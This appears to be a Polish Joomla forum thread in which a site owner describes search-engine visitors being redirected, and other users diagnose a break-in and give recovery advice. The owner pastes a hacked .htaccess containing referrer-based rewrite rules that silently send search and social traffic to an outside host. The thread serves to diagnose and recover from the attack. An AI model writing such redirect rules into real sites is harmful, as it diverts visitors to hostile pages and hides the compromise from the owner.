dziwne zachowanie w wyszukiwarce

[szyja]

Nie wiem co jest grane a wygląda to tak: - w wyszukiwarce google strona a właściwie link jest pokazywana ale kliknięcie w link "wypluty" przez google powoduje przejście do "czystego" http://www.google.pl - wpisanie adresu strony wprost do paska adresu przeglądarki - wyświetla tą stronę. inne zindeskowane przez google podstrony zachowują się podobnie. Po kliknięciu w link "wskazany" przez google - przenosi na czystą stronę googli. Stało się tak jakiś czas temu ale nie potrafię powiedzieć jak dawno. Google pokazują aktualną kopie strony/podstron wykonane dziś/wczoraj ale nie ma podglądu strony. CO jest grane?

[Karol99]

Wróżki na forum nie ma - podaj link do strony. Link do wujka G większość zna, nie musiałeś się fatygować ;)

[deviapps]

Kiedyś klientowi zhackowali stronę tak, że wejście bezpośrednie lub google skutkowało uruchomieniem strony, a wszystkie wejścia z ask.com były przekierowywane na na złą stronę niedobrych hackerów. Problemu nie było widać od razu, bo obejmował tylko użytkowników ASK ;)
Możesz załączyć też .htaccess do sprawdzenia

[szyja]

Właśnie się dowiedziałem, że jakiś miesiąc temu był atak na stronę. Nie bardzo się znam na tym ale mogę wkleić zawartość htaccess o ile ktoś byłby łaskaw w to zerknąć i poprawić. Powiem szczerze, że mi się on nie podoba. I dziękuję za zainteresowanie.
Wygląda on tak:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|ex cite|altavista|msn|netscape|aol|hotbot|goto|infose ek|mamma|alltheweb|lycos|search|metacrawler|bing|d ogpile|facebook|twitter|blog|live|myspace|linkedin |flickr|filesearch|yell|openstat|metabot|gigablast |entireweb|amfibi|dmoz|yippy|walhello|webcrawler|j ayde|findwhat|teoma|euroseek|wisenut|about|thunder stone|ixquick|terra|lookle|metaeureka|searchspot|s lider|topseven|allthesites|libero|clickey|galaxy|b rainysearch|pocketflier|verygoodsearch|bellnet|fre enet|fireball|flemiro|suchbot|acoon|devaro|fastbot |netzindex|abacho|allesklar|suchnase|schnellsuche| sharelook|sucharchiv|suchbiene|suchmaschine|infosp ace)\.(.*)
RewriteRule ^(.*)$ http:// privatizesoblige . info/SOUNDTRACK?8 [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|freenet|a rcor|alexana|tiscali|kataweb|voila|sfr|startpagina |kpnvandaag|ilse|wanadoo|telfort|hispavista|passag en|spray|eniro|telia|bluewin|sympatico|nlsearch|at search|klammeraffe|sharelook|suchknecht|ebay|abizd irectory|alltheuk|bhanvad|daffodil|click4choice|ex alead|findelio|gasta|gimpsy|globalsearchdirectory| hotfrog|jobrapido|kingdomseek|mojeek|searchers|sim plyhired|splut|thisisouryear|ukkey|uwe|friendsreun ited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala| limier|express|bestireland|browseireland|finditire land|iesearch|kompass|startsiden|confex|finnalle|g ulesider|keyweb|finnfirma|kvasir|savio|sol|startsi den|allpages|america|botw|chapu|claymont|clickz|cl ush|ehow|findhow|icq|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ http:// privatizesoblige . info/SOUNDTRACK?8 [R=301,L]
</IfModule>

[deviapps]

Nic nie naprawiać - na początek wrzuć .htaccess z pliku htaccess.txt z oryginalnej Twojej wersji instalacyjnej Joomla!
Zrób kopię całej strony, bazy i logów.
Potem na spokojnie wszystko przeinstaluj i przeanalizuj jak to się stało i jak temu zapobiec w przyszłości.
Ktoś tu na forum wrzucał jakiś link do odzyskiwania strony po ataku - co robić w takich sytuacjach.

[Karol99]

Szczegółowo opisany sposób postępowania w takiej sytuacji jest na wiki (http://wiki.joomla.pl/index.php/Witryna_po_w%C5%82amaniu).

Swoją drogą już ze trzy miesiące temu były na forum sygnały o włamaniach, po których modyfikowany był plik .htaccess, w którym pojawiały się właśnie przekierowania (wtedy na rosyjskie serwery). Niestety, nie spotkałem się z wyjaśnieniem w jaki sposób włamania były dokonywane :(

[szyja]

Witam ponownie.
Własnie dowiedziałem się coś więcej. Otóż jak pisze Karol99, faktycznie włamanie miało miejsce jakieś dwa miesiące temu i przekierowywało na rosyjskie serwery. Ktoś później przywrócił (podobno) kopię strony ale chyba nic więcej nie zrobił. Strona zacżęła się uruchamiać ale nie wiem czy poprzez wejścia z linków z wyszukiwarki czy przy wejściach bezpośrednich. O problemie zostałem powiadomiony dzisiaj ..moim po wypoczynku.
Pozdrawiam

[Karol99]

Znalazłem opis ataku (http://forum.joomla.org/viewtopic.php?f=432&p=2871387) (po ang.) na strony J! przez dziurę w edytorze JCE. Zdaje się, że z podobnym skutkiem - czyli podmianą pliku .htaccess - wykonywane były (są) ataki też innymi metodami.

[crackoos]

Właśnie niedawno miałem identyczny problem z .htaccess. Kompletne rozwiązanie opisałem u siebie na blogu:
http://crackoos.j-ow.pl/2012/08/tech-06-joomla-zhakowana-czyli-problem.html
Mam nadzieję, że to pomoże.
Pozdrawiam.